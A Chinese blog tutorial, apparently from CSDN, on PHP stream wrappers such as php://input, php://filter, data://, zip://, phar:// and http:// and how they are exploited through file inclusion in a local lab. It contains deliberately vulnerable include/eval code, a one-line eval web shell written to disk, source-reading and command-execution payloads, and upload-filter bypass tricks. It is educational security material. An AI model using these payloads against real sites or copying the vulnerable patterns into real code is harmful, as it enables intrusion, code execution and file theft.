PHP伪协议

最新推荐文章于 2024-07-03 09:29:18 发布
最新推荐文章于 2024-07-03 09:29:18 发布
阅读量980 收藏 22
点赞数 5
分类专栏： 协议 文章标签： PHP伪协议 PHP
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_40950781/article/details/100740021
版权

PHP伪协议


经过一段时间的学习，发现在很多时候需要用到PHP的伪协议做一些处理，在此对PHP伪协议进行简单总结，本文主要对PHP协议进行简单的测试使用，主要以操作为主，进行介绍

0x00 PHP伪协议

常见的文件包含函数：
1.include
2.require
3.include_once
4.require_once
5.highlight_file
6.show _source
7.readfile
8.file_get_contents
9.fopen
10.file

0x01 PHP伪协议事实上就是支持的协议与封装协议（12种）

a.  file:// — 访问本地文件系统
b.  http:// — 访问 HTTP(s) 网址
c.  ftp:// — 访问 FTP(s) URLs
d.  php:// — 访问各个输入/输出流（I/O streams）
e.  zlib:// — 压缩流
f.  data:// — 数据（RFC 2397）
g.  glob:// — 查找匹配的文件路径模式
h.  phar:// — PHP 归档
i.  ssh2:// — Secure Shell 2
j.  rar:// — RAR
k. ogg:// — 音频流
l.  expect:// — 处理交互式的流

0x02 是否需要截断

a.不需要截断

1 http://127.0.0.1/test.php?file=file:///c:/users/Thinking/desktop/flag.txt
2 <?php
3 include($_GET['file'])
4 ?>

b.需要截断 （在php版本<=5.2中进行测试是可以使用%00截断的）

1 http://127.0.0.1/test.php?file=file:///c:/users/Thinking/desktop/flag.txt%00
2 <?php
3 include($_GET['file'].'.php')
4 ?>

0x03 php://

PHP 提供了一些杂项输入/输出（IO）流，允许访问 PHP 的输入输出流、标准输入输出和错误描述符， 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。

php://input

PHP://协议使用条件：

  1. 不需要开启allow_url_fopen;
  2. php://input、php://stdin、php://memory和php://temp需要开启allow_url_include

php://input 是个可以访问请求的原始数据的只读流。 POST 请求的情况下，最好使用 php://input 来代替 $HTTP_RAW_POST_DATA，因为它不依赖于特定的 php.ini 指令。 而且，这样的情况下 $HTTP_RAW_POST_DATA 默认没有填充， 比激活 always_populate_raw_post_data 潜在需要更少的内存。 enctype=”multipart/form-data” 的时候 php://input 是无效的。
——php.net
这是官方给的解释，简单来说就是获取post数据。

测试代码：

	<?php
	$d = file_get_contents('php://input'); 
	//echo $d;
	@eval($d) 
	?>

测试效果：
在这里插入图片描述
文件包含指令执行：
测试代码：

<?php @include($_GET["file"]); ?>

测试效果：
在这里插入图片描述
文件写入:写入一句话
测试代码：

<?php @include($_GET["file"]); ?>

paylod：<?php fputs(fopen("shell.php","w"), '<?php @eval($_POST["admin"]); ?>’ ); ?>
在这里插入图片描述
在这里插入图片描述

php://stdin, php://stdout 和 php://stderr

php://stdin、php://stdout 和 php://stderr 允许直接访问 PHP 进程相应的输入或者输出流。 数据流引用了复制的文件描述符，所以如果你打开php://stdin并在之后关了它， 仅是关闭了复制品，真正被引用的 STDIN 并不受影响。 推荐简单使用常量 STDIN、 STDOUT 和 STDERR 来代替手工打开这些封装器。

php://stdin是只读的，php://stdout 和 php://stderr 是只写的。

php://stdin

测试代码：

	<?php
	    while($line = fopen('php://stdin','r'))
	    {//open our file pointer to read from stdin
	        echo $line."\n";
	        echo fgets($line);//读取
	    }	
	 ?>

测试效果：可以看到打开一个文件指针进行读取
在这里插入图片描述

php://stdout

测试代码：

	<?php
	    $fd = fopen('php://stdout', 'w');
	    if ($fd) {
	        echo $fd."\n";
	        fwrite($fd, "this is a test file");
	        fwrite($fd, "\n");
	        fclose($fd);
	    }
	?>

测试效果：可以看到打开一个文件进行写入
在这里插入图片描述

php://stderr

测试代码;

	<?php
	    $stderr = fopen( 'php://stderr', 'w' );
	    echo $stderr."\n";
	    fwrite($stderr, "test test test" );
	    fclose($stderr);
	?>

测试效果：打开一个文件指针写入
在这里插入图片描述

php://output

php://output 是一个只写的数据流， 允许你以 print 和 echo 一样的方式 写入到输出缓冲区。
测试代码：

	<?php
	    $out=fopen("php://stdout", 'w');  
	    echo $out."\n";
	    fwrite($out , "this is a test");
	    fclose($out);
	?>

测试效果：
在这里插入图片描述

file://

读取文件：
在这里插入图片描述

php://filter

php://filter 是一种元封装器， 设计用于数据流打开时的筛选过滤应用。 这对于一体式（all-in-one）的文件函数非常有用，类似 readfile()、 file() 和 file_get_contents()， 在数据流内容读取之前没有机会应用其他过滤器。
——php.net
简单来讲经常利用它进行base64编码，如

payload：?file=php://filter/read=convert.base64-encode/resource=file:///f:/test.txt

测试代码：

<?php @include($_GET["file"]); ?>

读取目标主机的f:/test.txt文件，可以运用多种过滤器（字符串/转换/压缩/解压）,常用于读取文件/源码：
在这里插入图片描述
base64解码还原文件：
在这里插入图片描述

php://fd

php://fd 允许直接访问指定的文件描述符。 例如 php://fd/3 引用了文件描述符 3。

php://memory 和 php://temp

php://memory 和 php://temp 是一个类似文件 包装器的数据流，允许读写临时数据。 两者的唯一区别是 php://memory 总是把数据储存在内存中， 而 php://temp 会在内存量达到预定义的限制后（默认是 2MB）存入临时文件中。 临时文件位置的决定和 sys_get_temp_dir() 的方式一致。

php://temp 的内存限制可通过添加 /maxmemory:NN 来控制，NN 是以字节为单位、保留在内存的最大数据量，超过则使用临时文件。

0x04 zip:// 、 bzip2:// 、 zlib://

zlib: 的功能类似 gzopen()，但是 其数据流还能被 fread() 和其他文件系统函数使用。 自 PHP 4.3.0 后这个不建议被使用，因为会和其他带“:”字符的文件名混淆； 请使用 compress.zlib:// 作为替代。

compress.zlib://、 compress.bzip2:// 和 gzopen()、bzopen() 是相等的。并且可以在不支持 fopencookie 的系统中使用。

ZIP 扩展 注册了 zip: 封装器。 自 PHP 7.2.0 和 libzip 1.2.0+ 起，加密归档开始支持密码，允许数据流中使用密码。 字节流上下文（stream contexts）中使用 ‘password’ 选项设置密码。

可选项
zlib://file.gz
bzip2://file.bz2
zip://archive.zip#dir/file.txt
——php.net
简单来件就是直接访问压缩包里的文件：

zip://

将phpinfo.txt压缩成phpinfo.zip，实战中可以将压缩文件改为后缀为jpg(phpinfo.jpg)绕过上传限制
使用方法：

zip://archive.zip%23dir/file.txt
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

先将要执行的PHP代码写好文件名为phpinfo.txt，将phpinfo.txt进行zip压缩,压缩文件名为phpinfo.zip,如果可以上传zip文件便直接上传，若不能便将phpinfo.zip重命名为phpinfo.jpg后在上传，其他几种压缩格式也可以这样操作。

由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23，且此处经过测试相对路径是不可行，所以只能用绝对路径。

payload：http://192.168.15.83/php_protocol/test1.php?file=zip://D:/phpStudy/PHPTutorial/WWW/php_protocol/phpinfo.jpg%23phpinfo.txt

在这里插入图片描述

bzip2://

使用方法：compress.bzip2://file.bz2

可以使用绝对路径或者相对路径：

http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg
or
http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg

zlib://

使用方法：compress.zlib://file.gz

可以使用绝对路径或者相对路径：

http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg
or
http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg

0x05 data://

经过测试官方文档上存在一处问题，经过测试PHP版本5.2，5.3，5.5，7.0；data:// 协议是是受限于allow_url_fopen的，官方文档上给出的是NO，所以要使用data://协议需要满足双on条件

PHP.ini：
data://协议必须双在on才能正常使用；
allow_url_fopen ：on
allow_url_include：on

用法：?file=data://text/plain;base64,[base64编码的指令]
？file=data://text/plain,z指令

效果：以下payload等效

http://192.168.15.83/php_protocol/test1.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
http://192.168.15.83/php_protocol/test1.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
http://192.168.15.83/php_protocol/test1.php?file=data:text/plain,<?php phpinfo()?>
http://192.168.15.83/php_protocol/test1.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

在这里插入图片描述
也可以用来读PHP文件源码：
data:text/plain,<?php system('type D:\phpStudy\PHPTutorial\WWW\php_protocol\test1.php')?>//Windows系统下type不生效
data:text/plain,<?php system('cat /var/www/test.php')?>

或者命令执行：

payload:http://192.168.15.83/php_protocol/test1.php?file=data://text/plain,<?php system('systeminfo')?>

在这里插入图片描述

0x06 phar://

PHP 归档，常常跟文件包含，文件上传结合着考察。说通俗点就是php解压缩包的一个函数，解压的压缩包与后缀无关。

用法：phar://test.[zip/jpg/png…]/file.txt

其实可以将任意后缀名的文件(必须要有后缀名)，只要是zip格式压缩的，都可以进行解压，因此上面可以改为phar://test.test/file.txt也可以运行。

payload：http://192.168.15.83/php_protocol/test1.php?file=phar://phpinfo.jpg/phpinfo.txt

在这里插入图片描述

0x07 http://

条件：
allow_url_fopen:on
allow_url_include :on
作用：常规 URL 形式，允许通过 HTTP 1.0 的 GET方法，以只读访问文件或资源。CTF中通常用于远程包含。
本地服务器：192.168.15.94/a.txt

<?php
	phpinfo();
?>
payload:http://192.168.15.83/php_protocol/test1.php?file=http://192.168.15.94/a.txt

在这里插入图片描述

litchi125
关注
专栏目录
php伪协议 文件包含,文件包含漏洞（伪协议利用）
weixin_33166692的博客
03-30 1047
实验环境1.已经配置好的WEB服务器2.文件包含页面include.php:文件包含phpinfo(); //一些伪协议的使用需要关注 allow_url_include 和 allow_url_fopen的状态include($_GET['f']);?>3.伪协议利用file伪协议，通过这个协议可以对系统中的文件进行包含，不过一定要是绝对路径1-1php伪协议，有两种类型 input 和 ...
PHP伪协议详解
逍遥小哥的博客
02-27 1649
require() // 只在执行到此函数时才去包含文件，若包含的文件不存在产生警告，程序继续运行 require_once() // 如果一个文件已经被包含过，则不会在包含它 include() // 程序一运行文件便会包含进来，若包含文件不存在产生致命错误，程序终止运行。php:// 访问各个输入/输出流（I/O streams），在CTF中经常使用的是php://filter和php://input，php://filter用于读取源码，php://input用于执行php代码。
网络协议在PHP中有哪些常用协议？
最新发布
破损的天堂鸟博客
07-03 1086
在PHP中，常用的网络协议主要包括以下几种：HTTP协议：HTTP（HyperText Transfer Protocol）是一种应用层协议，基于TCP连接，用于Web浏览器与服务器之间的通信。它支持请求/响应模式，广泛应用于网页的上传和下载。HTTPS协议：HTTPS（ secure HTTP）是HTTP的安全版本，使用SSL/TLS协议来加密数据传输，确保通信过程中的数据安全。FTP协议：FTP（File Transfer Protocol）是一种用于文件传输的协议，允许用户通过网络将文件从一个服务器传
javascript:"伪协议
冰城潇湘的专栏
05-15 1219
"javascript:"伪协议2007-11-08 14:42今天遇到这样一段//jsfunction zw(){     location.href = "02.html";}//htmljavascript : zw()"; name="btn" />这里javascript : zw()是，javascript的伪协议伪协议：是人们对非标准化通信机制
PHP网络协议相关考点
weixin_33845477的博客
11-01 126
HTTP状态码 HTTP状态码（HTTP Status Code）是用以表示网页服务器HTTP响应状态的3位数字代码。 HTTP状态码主要有5种，代表5种不同类型的响应： 1xx：信息性状态码，代表接收到请求，正在处理 2xx：成功状态码，代表请求正常处理完毕 200 OK 表示从客户端发来的请求在服务端被正常处理了 204 No Content 服务器接收的处理已经全部处理完毕，但是返回的...
PHP封装协议(伪协议)
qq_51478862的博客
08-18 239
不知怎么的这篇文章有毒，无法从语雀上搬运到csdn，所以麻烦小伙伴们移步去语雀看吧:)传送门
php伪协议.pdfphp伪协议.pdfphp伪协议.pdf
02-24
### PHP 伪协议详解 #### 一、概览 PHP 伪协议是一种特殊的 URL 格式，用于在 PHP 代码中执行特定的操作。这些伪协议主要用于处理文件读取、网络请求以及数据处理等方面。理解并恰当地使用 PHP 伪协议对于开发安全...
php伪协议.zipphp伪协议.zip
02-24
【PHP伪协议】是PHP中一种特殊的机制，它允许开发者通过特定的URL格式来访问和操作服务器上的资源，比如文件系统、数据库等。这个概念在PHP的早期版本中较为常见，但出于安全考虑，现代PHP环境中已经对伪协议的使用...
php伪协议
weixin_52159400的博客
08-17 633
涉及的相关协议：file://、php://filter、php://input、zip://、compress.bzip2://、compress.zlib://、data://等。在此之前我们先要了解allow_url_include和allow_url_fopen两个配置含义。allow_url_fopen = On (允许打开URL文件,预设启用)allow_url_fopen = Off (禁止打开URL文件)......
php常见伪协议总结
m0_57236802的博客
01-18 797
PHP中的伪协议（也称为流包装器）是一种特殊的流访问机制，它允许访问各种类型的资源，如文件、网络资源、压缩文件等。
PHP之伪协议
errorr0
03-13 6663
php伪协议，安全入门新手值得一看
PHP-伪协议
摘星怪sec的blog
04-25 4145
常用的伪协议有就可以利用使用文件包含函数包含文件时,文件中的代码会被执行,如果想要读取文件源码,可以使用对文件内容进行编码,编码后的文件内容不会被执行,而是展示在页面中,我们将页面中的内容使用解码,就可以获取文件的源码了。
php:// 协议
am_03的博客
08-26 356
这里介绍一下：php:// 协议 条件： allow_url_fopen:off/on allow_url_include :仅php://input php://stdin php://memory php://temp 需要on 作用： php:// 访问各个输入/输出流（I/O streams），在CTF里经常使用的是php://filter和php://input，php://filter用于读取源码，php://input用于执行php代码。 说明： PHP 提供了一些杂项输入/输出（IO）流，允
web安全——伪协议
热门推荐
永远相信美好的事情即将发生
02-06 1万+
伪协议常常用于文件包含漏洞之中。在php中能够造成文件包含的函数有include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readfile 函数 1.include函数 可以放在PHP脚本的任意位置，一般放在流程控制的处理部分中。当PHP脚本执行到include指定引入的文件时，才将它包含并尝试执行。这种方式可以把程序执行时的流程进行简单化。当第二次遇到相同文件时，PH
php伪协议常用代码
08-05
常用的PHP伪协议代码包括： 1. 使用php://input执行PHP代码：这种方法可以通过将PHP代码作为POST数据传递，然后使用php://input伪协议来执行代码。例如，可以使用以下代码来执行phpinfo()函数并将结果输出到页面上...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值